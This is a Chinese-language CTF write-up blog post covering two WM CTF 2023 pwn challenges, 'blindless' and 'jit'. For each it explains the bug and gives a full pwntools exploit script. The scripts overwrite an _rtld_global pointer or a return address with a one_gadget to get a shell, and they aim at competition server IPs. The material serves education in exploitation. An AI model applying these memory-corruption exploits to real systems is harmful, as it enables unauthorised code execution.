WM CTF 2023 pwn

WM CTF 2023 pwn

总结

比赛打了两天,本人菜鸡一枚,就做了一道blindless。jit这题做题时出现了重大失误,没有去查简介里提到的eBPF,等联队的队友反应过来给我发了文档的时候我已经逆向逆的头皮发麻无力再做了。

blindless

思路

一开始data的size没有检查,如果size填写的足够大,data起始指针会指向由mmap创建的内存区域。这段内存会在libc地址前的一个固定位置,利用@指令去让data指针增大一个固定值,就可以穿过libc指向_rtld_global内的函数指针,之后可以低位覆盖三个字节将其覆盖成onegadget去打exit_hook,概率为1/4096,需要爆破,大约需要爆好几分钟。

没有利用到程序给的后门,不知道是不是非预期。

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'

ELFpath='/home/wjc/Desktop/main' 
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so'

#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
#p=remote('123.60.179.52',30098)

e=ELF(ELFpath)
#libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'noka')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    
    b*$rebase(0x14cc)

   
    '''.format(text_base, libc_base)
    #    b*$rebase(0x124f)
    #b*$rebase(0x1220)
    # b*$rebase(0x887b)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)


def pwn():
    ru("Pls input the data size\n")
    sl("1048576")
    ru("Pls input the code size\n")
    sl("256")
    ru("Pls input your code\n")
    pay="@"+p32(0x101000-0x10)+'@'+p32(0x222f68)+'.\xfe@'+p32(1)+'.\x6a@'+p32(1)+'.\xebq'
    pay=pay.ljust(0x100,'\x00')
    s(pay)

    sl('cat /flag')
    rut('flag{')

#debug()
#pwn()
#it()
#0x222f68
#eb 6a fe

if __name__=='__main__':
    while(1):
        try:
            #p=process(ELFpath)
            p=remote('1.13.101.243',27000)

            pwn()
            it()
            break
        except:
            p.close()

jit

思路

首先,这题不需要逆向,有一份现成文档:Unofficial eBPF spec

送进去的字节码会被编译执行。严格来说,这题不是VM,这题应该归类为限制输入内容的shellcode

我们可以利用寄存器残留获得相关基址。注意这题src和dst这两个字段是由范围限制的。这两个字段关系到操作的寄存器,rsp是不能用的。不过寄存器能用的很多,够用了。

可以利用0x7b这个字节码操作符,向栈上返回地址写onegadget。但是写之前应该先泄露一下libc版本,去main函数里面找一个cout,控制rsi就行了(rbx残留了text地址)

EXP

有一段program是泄露libc版本的,被我注释了。这一段用完之后就不需要了。

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/jit' 
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so'

p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
#p=remote('1.13.101.243',26386)

e=ELF(ELFpath)
#libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'noka')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*$rebase(0x858e)
    b*$rebase(0x2931)
    c
    set $shellcode=$rax
   
    '''.format(text_base, libc_base)
    #b*$rebase(0x43a0)
    #
    #    b*$rebase(0x124f)
    #b*$rebase(0x1220)
    # b*$rebase(0x887b)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)


def mov(dst,src):
    code='bf'
    code+=hex(0x100+regs.index(src)*0x10+regs.index(dst))[-2:]
    code+='00'*6
    return code

def add_imm(dst,imm):
    code='07'
    code+=hex(0x110+regs.index(dst))[-2:]
    code+=hex(0x10000)[-4:]
    code+=hex(0x100000000+((imm&0xff)<<24)+(((imm>>8)&0xff)<<16)+(((imm>>16)&0xff)<<8)+((imm>>24)&0xff))[-8:]
    return code


def sub_imm(dst,imm):
    code='17'
    code+=hex(0x110+regs.index(dst))[-2:]
    code+=hex(0x10000)[-4:]
    code+=hex(0x100000000+((imm&0xff)<<24)+(((imm>>8)&0xff)<<16)+(((imm>>16)&0xff)<<8)+((imm>>24)&0xff))[-8:]
    return code

def xor_reg(dst,src):
    code='af'
    code+=hex(0x100+regs.index(src)*0x10+regs.index(dst))[-2:]
    code+='00'*6
    return code

def stdxw_reg(dst,src,off):
    code='7b'
    code+=hex(0x100+regs.index(src)*0x10+regs.index(dst))[-2:]
    code+=hex(0x10000+(off&0xff)*0x100+(off//0x100))[-4:]
    code+='00'*4
    return code

def stdxw_imm(dst,imm,off):
    code='7a'
    code+=hex(0x110+regs.index(dst))[-2:]
    code+=hex(0x10000+(off&0xff)*0x100+(off//0x100))[-4:]
    code+=hex(0x100000000+((imm&0xff)<<24)+(((imm>>8)&0xff)<<16)+(((imm>>16)&0xff)<<8)+((imm>>24)&0xff))[-8:]
    return code


#debug()

ru('Program: ')

regs=['rax', 'rdi', 'rsi', 'rdx', 'r9', 'r8', 'rbx', 'r13', 'r14', 'r15', 'rbp']

program=''

# # #leak libc_version
# #0x270a
# leak_libc_version=0x270a
# mummap=0xDE98
# program+=sub_imm('rbx',0xe088)  #rbx:text_base
# program+=mov('rdi','rbx')
# program+=add_imm('rdi',leak_libc_version)
# program+=mov('rsi','rbx')
# program+=add_imm('rsi',mummap)
# program+=stdxw_reg('rbp','rdi',0x28)

'''
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

program+=sub_imm('r14',0x53b480)
program+=mov('rdi','r14')
program+=add_imm('rdi',0xe3b04)
program+=xor_reg('rsi','rsi')
program+=xor_reg('rdx','rdx')
program+=stdxw_reg('rbp','rdi',0x28)

sl(program)

ru('Memory: ')
sl(0x1000*'a')



# mumap_addr=u64(ru('\x7f')[-6:].ljust(8,'\x00'))

# LOGTOOL['mummap']=mumap_addr
# LOGALL()

it()
posted @ 2023-08-22 00:09  Jmp·Cliff  阅读(110)  评论(0编辑  收藏  举报